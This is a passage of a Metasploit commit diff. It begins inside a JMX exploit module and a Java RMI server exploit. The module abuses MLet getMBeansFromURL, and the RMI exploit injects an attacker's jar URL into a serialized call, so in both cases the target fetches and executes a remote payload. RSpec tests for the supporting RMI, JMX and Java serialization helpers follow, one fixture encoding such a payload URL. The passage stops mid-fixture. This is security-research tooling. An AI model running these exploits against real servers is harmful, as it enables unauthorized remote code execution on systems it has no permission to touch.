send_call(call_data: handshake_stream(mbean[:id].chop))
return_data = recv_return
if return_data.nil?
vprint_error("#{peer} - Failed to send handshake")
return nil
end
answer = extract_object(return_data, 1)
if answer.nil?
vprint_error("#{peer} - Unexpected handshake answer")
return nil
end
case answer
when 'java.lang.SecurityException'
vprint_error("#{peer} - JMX end point requires authentication, but it failed")
return nil
when 'javax.management.remote.rmi.RMIConnectionImpl_Stub'
vprint_good("#{peer} - Handshake completed, proceeding...")
conn_stub = extract_unicast_ref(StringIO.new(return_data.contents[2].contents))
else
vprint_error("#{peer} - Handshake returned unexpected object #{answer}")
return nil
end
conn_stub
end
def load_payload(conn_stub)
vprint_status("#{peer} - Getting JMXPayload instance...")
get_payload_instance = get_object_instance_stream(obj_id: conn_stub[:id].chop , name: "#{@mlet}:name=jmxpayload,id=1")
send_call(call_data: get_payload_instance)
return_data = recv_return
if return_data.nil?
vprint_error("#{peer} - The request to getObjectInstance failed")
return false
end
answer = extract_object(return_data, 1)
if answer.nil?
vprint_error("#{peer} - Unexpected getObjectInstance answer")
return false
end
case answer
when 'javax.management.InstanceNotFoundException'
vprint_warning("#{peer} - JMXPayload instance not found, trying to load")
return load_payload_from_url(conn_stub)
when 'javax.management.ObjectInstance'
vprint_good("#{peer} - JMXPayload instance found, using it")
return true
else
vprint_error("#{peer} - getObjectInstance returned unexpected object #{answer}")
return false
end
end
def load_payload_from_url(conn_stub)
vprint_status("Starting service...")
start_service
vprint_status("#{peer} - Creating javax.management.loading.MLet MBean...")
create_mbean = create_mbean_stream(obj_id: conn_stub[:id].chop, name: 'javax.management.loading.MLet')
send_call(call_data: create_mbean)
return_data = recv_return
if return_data.nil?
vprint_error("#{peer} - The request to createMBean failed")
return false
end
answer = extract_object(return_data, 1)
if answer.nil?
vprint_error("#{peer} - Unexpected createMBean answer")
return false
end
case answer
when 'javax.management.InstanceAlreadyExistsException'
vprint_good("#{peer} - javax.management.loading.MLet already exists")
when 'javax.management.ObjectInstance'
vprint_good("#{peer} - javax.management.loading.MLet created")
when 'java.lang.SecurityException'
vprint_error("#{peer} - The provided user hasn't enough privileges")
return false
else
vprint_error("#{peer} - createMBean returned unexpected object #{answer}")
return false
end
vprint_status("#{peer} - Getting javax.management.loading.MLet instance...")
get_mlet_instance = get_object_instance_stream(obj_id: conn_stub[:id].chop , name: 'DefaultDomain:type=MLet')
send_call(call_data: get_mlet_instance)
return_data = recv_return
if return_data.nil?
vprint_error("#{peer} - The request to getObjectInstance failed")
return false
end
answer = extract_object(return_data, 1)
if answer.nil?
vprint_error("#{peer} - Unexpected getObjectInstance answer")
return false
end
case answer
when 'javax.management.InstanceAlreadyExistsException'
vprint_good("#{peer} - javax.management.loading.MLet already found")
when 'javax.management.ObjectInstance'
vprint_good("#{peer} - javax.management.loading.MLet instance created")
else
vprint_error("#{peer} - getObjectInstance returned unexpected object #{answer}")
return false
end
vprint_status("#{peer} - Loading MBean Payload with javax.management.loading.MLet#getMBeansFromURL...")
invoke_mlet_get_mbean_from_url = invoke_stream(
obj_id: conn_stub[:id].chop,
object: 'DefaultDomain:type=MLet',
method: 'getMBeansFromURL',
args: { 'java.lang.String' => "#{get_uri}/mlet" }
)
send_call(call_data: invoke_mlet_get_mbean_from_url)
return_data = recv_return
vprint_status("Stopping service...")
stop_service
if return_data.nil?
vprint_error("#{peer} - The call to getMBeansFromURL failed")
return false
end
answer = extract_object(return_data, 3)
if answer.nil?
vprint_error("#{peer} - Unexpected getMBeansFromURL answer")
return false
end
case answer
when 'javax.management.InstanceAlreadyExistsException'
vprint_good("#{peer} - The remote payload was already loaded... okey, using it!")
return true
when 'javax.management.ObjectInstance'
vprint_good("#{peer} - The remote payload has been loaded!")
return true
else
vprint_error("#{peer} - getMBeansFromURL returned unexpected object #{answer}")
return false
end
end
end

View File

@ -8,7 +8,7 @@ require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
include Msf::Java::Rmi::Client
include Msf::Exploit::Remote::HttpServer
def initialize(info = {})
@ -115,42 +115,33 @@ class Metasploit3 < Msf::Exploit::Remote
def primer
connect
print_status("#{peer} - Sending RMI Header...")
send_header
ack = recv_protocol_ack
if ack.nil?
fail_with(Failure::NoTarget, "#{peer} - Filed to negotiate RMI protocol")
end
jar = rand_text_alpha(rand(8)+1) + '.jar'
old_url = "file:./rmidummy.jar"
new_url = get_uri + '/' + jar
packet = gen_rmi_packet
# Java strings in serialized data are prefixed with a 2-byte, big endian length
# (at least, as long as they are shorter than 65536 bytes)
find_me = [old_url.length].pack("n") + old_url
idx = packet.index(find_me)
len = [new_url.length].pack("n")
# Now replace it with the new url
packet[idx, find_me.length] = len + new_url
# write out minimal header and packet
print_status("#{peer} - Connected and sending request for #{new_url}")
#sock.put("JRMI" + [2].pack("n") + "K" + [0].pack("n") + [0].pack("N") + packet);
sock.put("JRMI" + [2,0x4b,0,0].pack("nCnN") + packet)
print_status("#{peer} - Sending RMI Call...")
send_call(call_data: build_gc_call_data(new_url))
return_data = recv_return
buf = ""
1.upto(6) do
res = sock.get_once(-1, 5) rescue nil
break unless res
break if session_created?
buf << res
if return_data.nil? && !session_created?
fail_with(Failure::Unknown, 'RMI Call failed')
end
if return_data && loader_disabled?(return_data)
fail_with(Failure::NotVulnerable, 'The RMI class loader is disabled')
end
if return_data && class_not_found?(return_data)
fail_with(Failure::Unknown, 'The RMI class loader couldn\'t find the payload')
end
disconnect
if buf =~ /RMI class loader disabled/
fail_with(Failure::NotVulnerable, "#{peer} - The RMI class loader is disabled")
end
if buf =~ /java.lang.ClassNotFoundException/
fail_with(Failure::Unknown, "#{peer} - The RMI class loader couldn't find the payload")
end
print_good("#{peer} - Target may be exploitable...")
end
def on_request_uri(cli, request)
@ -175,22 +166,96 @@ class Metasploit3 < Msf::Exploit::Remote
end
end
def gen_rmi_packet
"\x50\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x02\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\xf6\xb6\x89\x8d\x8b\xf2\x86\x43\x75\x72\x00\x18\x5b\x4c\x6a" +
"\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x4f" +
"\x62\x6a\x49\x44\x3b\x87\x13\x00\xb8\xd0\x2c\x64\x7e\x02\x00\x00" +
"\x70\x78\x70\x00\x00\x00\x00\x77\x08\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x73\x72\x00\x14\x6d\x65\x74\x61\x73\x70\x6c\x6f\x69\x74\x2e" +
"\x52\x4d\x49\x4c\x6f\x61\x64\x65\x72\xa1\x65\x44\xba\x26\xf9\xc2" +
"\xf4\x02\x00\x00\x74\x00\x13\x66\x69\x6c\x65\x3a\x2e\x2f\x72\x6d" +
"\x69\x64\x75\x6d\x6d\x79\x2e\x6a\x61\x72\x78\x70\x77\x01\x00\x0a"
end
def autofilter
return true
end
def loader_disabled?(stream)
stream.contents.each do |content|
if content.class == Rex::Java::Serialization::Model::NewObject &&
content.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc &&
content.class_desc.description.class_name.contents == 'java.lang.ClassNotFoundException'&&
content.class_data[0].class == Rex::Java::Serialization::Model::NullReference &&
content.class_data[1].contents.include?('RMI class loader disabled')
return true
end
end
false
end
def class_not_found?(stream)
stream.contents.each do |content|
if content.class == Rex::Java::Serialization::Model::NewObject &&
content.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc &&
content.class_desc.description.class_name.contents == 'java.lang.ClassNotFoundException'
return true
end
end
false
end
def build_gc_call_data(jar_url)
stream = Rex::Java::Serialization::Model::Stream.new
block_data = Rex::Java::Serialization::Model::BlockData.new
block_data.contents = "\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf6\xb6\x89\x8d\x8b\xf2\x86\x43"
block_data.length = block_data.contents.length
stream.contents << block_data
new_array_annotation = Rex::Java::Serialization::Model::Annotation.new
new_array_annotation.contents = [
Rex::Java::Serialization::Model::NullReference.new,
Rex::Java::Serialization::Model::EndBlockData.new
]
new_array_super = Rex::Java::Serialization::Model::ClassDesc.new
new_array_super.description = Rex::Java::Serialization::Model::NullReference.new
new_array_desc = Rex::Java::Serialization::Model::NewClassDesc.new
new_array_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.rmi.server.ObjID;')
new_array_desc.serial_version = 0x871300b8d02c647e
new_array_desc.flags = 2
new_array_desc.fields = []
new_array_desc.class_annotation = new_array_annotation
new_array_desc.super_class = new_array_super
array_desc = Rex::Java::Serialization::Model::ClassDesc.new
array_desc.description = new_array_desc
new_array = Rex::Java::Serialization::Model::NewArray.new
new_array.type = 'java.rmi.server.ObjID;'
new_array.values = []
new_array.array_description = array_desc
stream.contents << new_array
stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x00\x00\x00\x00\x00")
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'metasploit.RMILoader')
new_class_desc.serial_version = 0xa16544ba26f9c2f4
new_class_desc.flags = 2
new_class_desc.fields = []
new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
new_class_desc.class_annotation.contents = [
Rex::Java::Serialization::Model::Utf.new(nil, jar_url),
Rex::Java::Serialization::Model::EndBlockData.new
]
new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
new_object = Rex::Java::Serialization::Model::NewObject.new
new_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new
new_object.class_desc.description = new_class_desc
new_object.class_data = []
stream.contents << new_object
stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00")
stream
end
end

View File

@ -0,0 +1,33 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'rex/java'
require 'msf/java/jmx'
describe Msf::Java::Jmx::Discovery do
subject(:mod) do
mod = ::Msf::Exploit.new
mod.extend ::Msf::Java::Jmx
mod.send(:initialize)
mod
end
let(:stream_discovery) do
"\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02" +
"\x44\x15\x4d\xc9\xd4\xe6\x3b\xdf\x74\x00\x06\x6a\x6d\x78\x72\x6d" +
"\x69"
end
describe "#discovery_stream" do
it "returns a Rex::Java::Serialization::Model::Stream" do
expect(mod.discovery_stream).to be_a(Rex::Java::Serialization::Model::Stream)
end
it "builds a valid stream to discover an jmxrmi endpoing" do
expect(mod.discovery_stream.encode).to eq(stream_discovery)
end
end
end

View File

@ -0,0 +1,48 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'stringio'
require 'rex/java'
require 'msf/java/jmx'
describe Msf::Java::Jmx::Handshake do
subject(:mod) do
mod = ::Msf::Exploit.new
mod.extend ::Msf::Java::Jmx
mod.send(:initialize)
mod
end
let(:handshake_stream) do
"\xac\xed\x00\x05\x77\x0d\x30\xff\xff\xff\xff\xf0\xe0\x74\xea\xad" +
"\x0c\xae\xa8\x70"
end
let(:auth_stream) do
"\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53" +
"\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56\xe7\xe9\x1d\x7b\x47\x02\x00" +
"\x00\x70\x78\x70\x00\x00\x00\x02\x74\x00\x04\x72\x6f\x6c\x65\x74" +
"\x00\x08\x70\x61\x73\x73\x77\x6f\x72\x64"
end
describe "#handshake_stream" do
it "returns a Rex::Java::Serialization::Model::Stream" do
expect(mod.handshake_stream(0)).to be_a(Rex::Java::Serialization::Model::Stream)
end
it "builds a correct stream" do
expect(mod.handshake_stream(0).encode).to eq(handshake_stream)
end
end
describe "#auth_array_stream" do
it "returns a Rex::Java::Serialization::Model::Stream" do
expect(mod.auth_array_stream('role', 'password')).to be_a(Rex::Java::Serialization::Model::NewArray)
end
it "builds a correct stream" do
expect(mod.auth_array_stream('role', 'password').encode).to eq(auth_stream)
end
end
end

View File

@ -0,0 +1,93 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'rex/java'
require 'msf/java/jmx'
describe Msf::Java::Jmx::Mbean::ServerConnection do
subject(:mod) do
mod = ::Msf::Exploit.new
mod.extend ::Msf::Java::Jmx
mod.send(:initialize)
mod
end
let(:mbean_sample) { 'MBeanSample' }
let(:sample_args) do
{'arg1' => 'java.lang.String'}
end
describe "#create_mbean_stream" do
it "returns a Rex::Java::Serialization::Model::Stream" do
expect(mod.create_mbean_stream).to be_a(Rex::Java::Serialization::Model::Stream)
end
context "when no opts" do
it "builds a default stream" do
expect(mod.create_mbean_stream.contents[1].contents).to eq('')
end
end
context "when opts" do
it "builds a stream having opts into account" do
expect(mod.create_mbean_stream(name: mbean_sample).contents[1].contents).to eq(mbean_sample)
end
end
end
describe "#get_object_instance_stream" do
it "returns a Rex::Java::Serialization::Model::Stream" do
expect(mod.get_object_instance_stream).to be_a(Rex::Java::Serialization::Model::Stream)
end
context "when no opts" do
it "builds a default stream" do
expect(mod.get_object_instance_stream.contents[2].contents).to eq('')
end
end
context "when opts" do
it "builds a stream having opts into account" do
expect(mod.get_object_instance_stream(name: mbean_sample).contents[2].contents).to eq(mbean_sample)
end
end
end
describe "#invoke_stream" do
it "returns a Rex::Java::Serialization::Model::Stream" do
expect(mod.invoke_stream).to be_a(Rex::Java::Serialization::Model::Stream)
end
context "when no opts" do
it "builds a default stream" do
expect(mod.invoke_stream.contents[2].contents).to eq('')
end
end
context "when opts" do
it "builds a stream having opts into account" do
expect(mod.invoke_stream(object: mbean_sample).contents[2].contents).to eq(mbean_sample)
end
end
end
describe "#invoke_arguments_stream" do
it "returns a Rex::Java::Serialization::Model::Stream" do
expect(mod.invoke_arguments_stream).to be_a(Rex::Java::Serialization::Model::Stream)
end
context "when no opts" do
it "builds a default stream" do
expect(mod.invoke_arguments_stream.contents[0].values.length).to eq(0)
end
end
context "when opts" do
it "builds a stream having opts into account" do
expect(mod.invoke_arguments_stream(sample_args).contents[0].values[0].contents).to eq(sample_args['arg1'])
end
end
end
end

View File

@ -0,0 +1,121 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'stringio'
require 'rex/java'
require 'msf/java/jmx'
describe Msf::Java::Jmx::Util do
subject(:mod) do
mod = ::Msf::Exploit.new
mod.extend ::Msf::Java::Jmx
mod.send(:initialize)
mod
end
let(:empty) { '' }
let(:empty_io) { StringIO.new(empty) }
let(:string) { "\x00\x04\x41\x42\x43\x44" }
let(:string_io) { StringIO.new(string) }
let(:int) { "\x00\x00\x00\x04" }
let(:int_io) { StringIO.new(int) }
let(:stream_raw) do
"\xac\xed\x00\x05\x77\x22\x7b\xb5\x91\x73\x69\x12\x77\xcb\x4a\x7d" +
"\x3f\x10\x00\x00\x01\x4a\xe3\xed\x2f\x53\x81\x03\xff\xff\xff\xff" +
"\x60\x73\xb3\x36\x1f\x37\xbd\xc2\x73\x72\x00\x1b\x6a\x61\x76\x61" +
"\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a" +
"\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03\xa7\x1b\xeb\x6d\x15\xcf\x03" +
"\x00\x00\x70\x78\x70\x74\x00\x1d\x4d\x4c\x65\x74\x43\x6f\x6d\x70" +
"\x72\x6f\x6d\x69\x73\x65\x3a\x6e\x61\x6d\x65\x3d\x65\x76\x69\x6c" +
"\x2c\x69\x64\x3d\x31\x78\x70"
end
let(:stream) { Rex::Java::Serialization::Model::Stream.decode(StringIO.new(stream_raw)) }
let(:contents_unicast_ref) do
"\x00\x0a\x55\x6e\x69\x63\x61\x73\x74\x52\x65\x66\x00\x0e\x31\x37" +
"\x32\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x31\x00\x00\x0b\xf1" +
"\x54\x74\xc4\x27\xb7\xa3\x4e\x9b\x51\xb5\x25\xf9\x00\x00\x01\x4a" +
"\xdf\xd4\x57\x7e\x80\x01\x01"
end
let(:unicast_ref_io) do
StringIO.new(Rex::Java::Serialization::Model::BlockData.new(nil, contents_unicast_ref).contents)
end
let(:unicast_ref) do
{
:address => '172.16.158.131',
:id => "\x54\x74\xc4\x27\xb7\xa3\x4e\x9b\x51\xb5\x25\xf9\x00\x00\x01\x4a\xdf\xd4\x57\x7e\x80\x01\x01",
:port => 3057
}
end
describe "#extract_string" do
context "when io contains a valid string" do
it "returns the string" do
expect(mod.extract_string(string_io)).to eq('ABCD')
end
end
context "when io doesn't contain a valid string" do
it "returns nil" do
expect(mod.extract_string(empty_io)).to be_nil
end
end
end
describe "#extract_int" do
context "when io contains a valid int" do
it "returns the string" do
expect(mod.extract_int(int_io)).to eq(4)
end
end
context "when io doesn't contain a valid int" do
it "returns nil" do
expect(mod.extract_int(empty_io)).to be_nil
end
end
end
describe "#extract_object" do
context "when empty stream" do
it "returns nil" do
empty_stream = Rex::Java::Serialization::Model::Stream.new
expect(mod.extract_object(empty_stream, 1)). to be_nil
end
end
context "when valid stream" do
context "when id stores an object" do
it "returns the object's class name" do
expect(mod.extract_object(stream, 1)).to eq('javax.management.ObjectName')
end
end
context "when id doesn't store an object" do
it "returns nil" do
expect(mod.extract_object(stream, 0)). to be_nil
end
end
end
end
describe "#extract_unicast_ref" do
context "when empty io" do
it "returns nil" do
expect(mod.extract_unicast_ref(empty_io)). to be_nil
end
end
context "when valid io" do
it "returns a hash" do
expect(mod.extract_unicast_ref(unicast_ref_io)).to be_a(Hash)
end
it "returns a hash containing the UnicastRef information" do
expect(mod.extract_unicast_ref(unicast_ref_io)).to eq(unicast_ref)
end
end
end
end

View File

@ -0,0 +1,107 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'rex/java/serialization'
require 'rex/proto/rmi'
require 'msf/java/rmi/client'
describe Msf::Java::Rmi::Client::Streams do
subject(:mod) do
mod = ::Msf::Exploit.new
mod.extend ::Msf::Java::Rmi::Client
mod.send(:initialize)
mod
end
let(:default_header) { "JRMI\x00\x02\x4b" }
let(:header_opts) do
{
:version => 1,
:protocol => Rex::Proto::Rmi::Model::MULTIPLEX_PROTOCOL
}
end
let(:opts_header) { "JRMI\x00\x01\x4d" }
let(:default_call) { "\x50\xac\xed\x00\x05" }
let(:call_opts) do
{
:message_id => Rex::Proto::Rmi::Model::PING_MESSAGE
}
end
let(:opts_call) { "\x52\xac\xed\x00\x05" }
let(:default_dgc_ack) { "\x54\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" }
let(:dgc_ack_opts) do
{
:unique_identifier => "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x04\x03\x02\x01"
}
end
let(:opts_dgc_ack) { "\x54\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x04\x03\x02\x01" }
describe "#build_header" do
context "when no opts" do
it "creates a Rex::Proto::Rmi::Model::OutputHeader" do
expect(mod.build_header).to be_a(Rex::Proto::Rmi::Model::OutputHeader)
end
it "creates a default OutputHeader" do
expect(mod.build_header.encode).to eq(default_header)
end
end
context "when opts" do
it "creates a Rex::Proto::Rmi::Model::OutputHeader" do
expect(mod.build_header(header_opts)).to be_a(Rex::Proto::Rmi::Model::OutputHeader)
end
it "creates a OutputHeader with data from opts" do
expect(mod.build_header(header_opts).encode).to eq(opts_header)
end
end
end
describe "#build_call" do
context "when no opts" do
it "creates a Rex::Proto::Rmi::Model::Call" do
expect(mod.build_call).to be_a(Rex::Proto::Rmi::Model::Call)
end
it "creates a default Call" do
expect(mod.build_call.encode).to eq(default_call)
end
end
context "when opts" do
it "creates a Rex::Proto::Rmi::Model::Call" do
expect(mod.build_call(call_opts)).to be_a(Rex::Proto::Rmi::Model::Call)
end
it "creates a Call with data from opts" do
expect(mod.build_call(call_opts).encode).to eq(opts_call)
end
end
end
describe "#build_dgc_ack" do
context "when no opts" do
it "creates a Rex::Proto::Rmi::Model::DgcAck" do
expect(mod.build_dgc_ack).to be_a(Rex::Proto::Rmi::Model::DgcAck)
end
it "creates a default Call" do
expect(mod.build_dgc_ack.encode).to eq(default_dgc_ack)
end
end
context "when opts" do
it "creates a Rex::Proto::Rmi::Model::DgcAck" do
expect(mod.build_dgc_ack(dgc_ack_opts)).to be_a(Rex::Proto::Rmi::Model::DgcAck)
end
it "creates a DgcAck with data from opts" do
expect(mod.build_dgc_ack(dgc_ack_opts).encode).to eq(opts_dgc_ack)
end
end
end
end

View File

@ -0,0 +1,100 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'rex/java/serialization'
require 'rex/proto/rmi'
require 'msf/java/rmi/client'
class RmiStringIO < StringIO
def put(data)
write(data)
end
def get_once(length = -1, timeout = 10)
read
end
end
describe Msf::Java::Rmi::Client do
subject(:mod) do
mod = ::Msf::Exploit.new
mod.extend ::Msf::Java::Rmi::Client
mod.send(:initialize)
mod
end
let(:io) { RmiStringIO.new('', 'w+b') }
let(:protocol_not_supported) { "\x4f" }
let(:protocol_not_supported_io) { RmiStringIO.new(protocol_not_supported) }
let(:protocol_ack) { "\x4e\x00\x0e\x31\x37\x32\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x32\x00\x00\x06\xea" }
let(:protocol_ack_io) { RmiStringIO.new(protocol_ack) }
let(:return_data) do
"\x51\xac\xed\x00\x05\x77\x0f\x01\xd2\x4f\xdf\x47\x00\x00\x01\x49" +
"\xb5\xe4\x92\x78\x80\x15\x73\x72\x00\x12\x6a\x61\x76\x61\x2e\x72" +
"\x6d\x69\x2e\x64\x67\x63\x2e\x4c\x65\x61\x73\x65\xb0\xb5\xe2\x66" +
"\x0c\x4a\xdc\x34\x02\x00\x02\x4a\x00\x05\x76\x61\x6c\x75\x65\x4c" +
"\x00\x04\x76\x6d\x69\x64\x74\x00\x13\x4c\x6a\x61\x76\x61\x2f\x72" +
"\x6d\x69\x2f\x64\x67\x63\x2f\x56\x4d\x49\x44\x3b\x70\x78\x70\x00" +
"\x00\x00\x00\x00\x09\x27\xc0\x73\x72\x00\x11\x6a\x61\x76\x61\x2e" +
"\x72\x6d\x69\x2e\x64\x67\x63\x2e\x56\x4d\x49\x44\xf8\x86\x5b\xaf" +
"\xa4\xa5\x6d\xb6\x02\x00\x02\x5b\x00\x04\x61\x64\x64\x72\x74\x00" +
"\x02\x5b\x42\x4c\x00\x03\x75\x69\x64\x74\x00\x15\x4c\x6a\x61\x76" +
"\x61\x2f\x72\x6d\x69\x2f\x73\x65\x72\x76\x65\x72\x2f\x55\x49\x44" +
"\x3b\x70\x78\x70\x75\x72\x00\x02\x5b\x42\xac\xf3\x17\xf8\x06\x08" +
"\x54\xe0\x02\x00\x00\x70\x78\x70\x00\x00\x00\x08\x6b\x02\xc7\x72" +
"\x60\x1c\xc7\x95\x73\x72\x00\x13\x6a\x61\x76\x61\x2e\x72\x6d\x69" +
"\x2e\x73\x65\x72\x76\x65\x72\x2e\x55\x49\x44\x0f\x12\x70\x0d\xbf" +
"\x36\x4f\x12\x02\x00\x03\x53\x00\x05\x63\x6f\x75\x6e\x74\x4a\x00" +
"\x04\x74\x69\x6d\x65\x49\x00\x06\x75\x6e\x69\x71\x75\x65\x70\x78" +
"\x70\x80\x01\x00\x00\x01\x49\xb5\xf8\x00\xea\xe9\x62\xc1\xc0"
end
let(:return_io) { RmiStringIO.new(return_data) }
describe "#send_header" do
it "returns the number of bytes sent" do
expect(mod.send_header(sock: io)).to eq(13)
end
end
describe "#send_call" do
it "returns the number of bytes sent" do
expect(mod.send_call(sock: io)).to eq(5)
end
end
describe "#send_dgc_ack" do
it "returns the number of bytes sent" do
expect(mod.send_dgc_ack(sock: io)).to eq(15)
end
end
describe "#recv_protocol_ack" do
context "when end point returns protocol ack" do
it "returns a Rex::Proto::Rmi::Model::ProtocolAck" do
expect(mod.recv_protocol_ack(sock: protocol_ack_io)).to be_a(Rex::Proto::Rmi::Model::ProtocolAck)
end
end
context "when end point returns protocol not supported" do
it "return nil" do
expect(mod.recv_protocol_ack(sock: protocol_not_supported_io)).to be_nil
end
end
end
describe "#recv_return" do
context "when end point returns a value to the call" do
it "returns a Rex::Java::Serialization::Model::Stream" do
expect(mod.recv_return(sock: return_io)).to be_a(Rex::Java::Serialization::Model::Stream)
end
end
context "when end point doesn't return a value to the call" do
it "returns nil" do
expect(mod.recv_return(sock: io)).to be_nil
end
end
end
end

View File

@ -0,0 +1,143 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'rex/java'
describe Rex::Java::Serialization::Builder do
subject(:builder) do
described_class.new
end
let(:class_opts) do
{
name: 'java.rmi.MarshalledObject',
serial: 0x7cbd1e97ed63fc3e,
fields: [
['int', 'hash'],
['array', 'locBytes', '[B'],
['array', 'objBytes', '[B']
]
}
end
let(:object_opts) do
{
data: [["int", 1]]
}
end
let(:array_opts) do
{
values_type: 'byte',
values: [0x41, 0x42, 0x43, 0x44]
}
end
describe ".new" do
it "returns a Rex::Java::Serialization::Builder" do
expect(builder).to be_a(Rex::Java::Serialization::Builder)
end
end
describe "#new_class" do
context "when no options" do
it "returns a Rex::Java::Serialization::Model::NewClassDesc" do
expect(builder.new_class).to be_a(Rex::Java::Serialization::Model::NewClassDesc)
end
it "sets an empty class name" do
expect(builder.new_class.class_name.contents).to eq('')
end
it "sets a 0 serial version" do
expect(builder.new_class.serial_version).to eq(0)
end
it "sets flags to SC_SERIALIZABLE" do
expect(builder.new_class.flags).to eq(Rex::Java::Serialization::SC_SERIALIZABLE)
end
it "sets default annotations" do
expect(builder.new_class.class_annotation.contents.length).to eq(2)
end
it "sets empty fields" do
expect(builder.new_class.fields.length).to eq(0)
end
it "sets null super class" do
expect(builder.new_class.super_class.description).to be_a(Rex::Java::Serialization::Model::NullReference)
end
end
context "when options" do
it "returns a Rex::Java::Serialization::Model::NewClassDesc" do
expect(builder.new_class(class_opts)).to be_a(Rex::Java::Serialization::Model::NewClassDesc)
end
it "sets the class name from options" do
expect(builder.new_class(class_opts).class_name.contents).to eq(class_opts[:name])
end
it "sets serial version from options" do
expect(builder.new_class(class_opts).serial_version).to eq(class_opts[:serial])
end
it "sets fields from options" do
expect(builder.new_class(class_opts).fields.length).to eq(3)
end
end
end
describe "#new_object" do
context "when no options" do
it "returns a Rex::Java::Serialization::Model::NewObject" do
expect(builder.new_object).to be_a(Rex::Java::Serialization::Model::NewObject)
end
it "sets empty data" do
expect(builder.new_object.class_data).to eq([])
end
end
context "when options" do
it "returns a Rex::Java::Serialization::Model::NewObject" do
expect(builder.new_object(object_opts)).to be_a(Rex::Java::Serialization::Model::NewObject)
end
it "sets data from options" do
expect(builder.new_object(object_opts).class_data[0][1]).to eq(1)
end
end
end
describe "#new_array" do
context "when no options" do
it "returns a Rex::Java::Serialization::Model::NewArray" do
expect(builder.new_array).to be_a(Rex::Java::Serialization::Model::NewArray)
end
it "sets empty values type" do
expect(builder.new_array.type).to eq('')
end
it "sets empty values array" do
expect(builder.new_array.values).to eq([])
end
end
context "when options" do
it "returns a Rex::Java::Serialization::Model::NewArray" do
expect(builder.new_array(array_opts)).to be_a(Rex::Java::Serialization::Model::NewArray)
end
it "sets empty values type" do
expect(builder.new_array(array_opts).type).to eq(array_opts[:values_type])
end
it "sets empty values array" do
expect(builder.new_array(array_opts).values).to eq(array_opts[:values])
end
end
end
end

View File

@ -116,6 +116,40 @@ describe Rex::Java::Serialization::Model::Stream do
EOS
}
let(:rmi_call) do
"\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\xf6\xb6\x89\x8d\x8b\xf2\x86\x43\x75\x72\x00\x18\x5b\x4c\x6a\x61" +
"\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x4f\x62" +
"\x6a\x49\x44\x3b\x87\x13\x00\xb8\xd0\x2c\x64\x7e\x02\x00\x00\x70" +
"\x78\x70\x00\x00\x00\x00\x77\x08\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x73\x72\x00\x14\x6d\x65\x74\x61\x73\x70\x6c\x6f\x69\x74\x2e\x52" +
"\x4d\x49\x4c\x6f\x61\x64\x65\x72\xa1\x65\x44\xba\x26\xf9\xc2\xf4" +
"\x02\x00\x00\x74\x00\x30\x68\x74\x74\x70\x3a\x2f\x2f\x31\x37\x32" +
"\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x3a\x38\x30\x38\x30\x2f\x35" +
"\x71\x4f\x45\x37\x59\x52\x76\x43\x32\x53\x62\x2f\x65\x49\x64\x45" +
"\x44\x70\x2e\x6a\x61\x72\x78\x70\x77\x01\x00"
end
let(:mbean_call) do
"\xac\xed\x00\x05\x77\x22\x7b\xb5\x91\x73\x69\x12\x77\xcb\x4a\x7d" +
"\x3f\x10\x00\x00\x01\x4a\xe3\xed\x2f\x53\x81\x03\xff\xff\xff\xff" +
"\x60\x73\xb3\x36\x1f\x37\xbd\xc2\x73\x72\x00\x1b\x6a\x61\x76\x61" +
"\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a" +
"\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03\xa7\x1b\xeb\x6d\x15\xcf\x03" +
"\x00\x00\x70\x78\x70\x74\x00\x1d\x4d\x4c\x65\x74\x43\x6f\x6d\x70" +
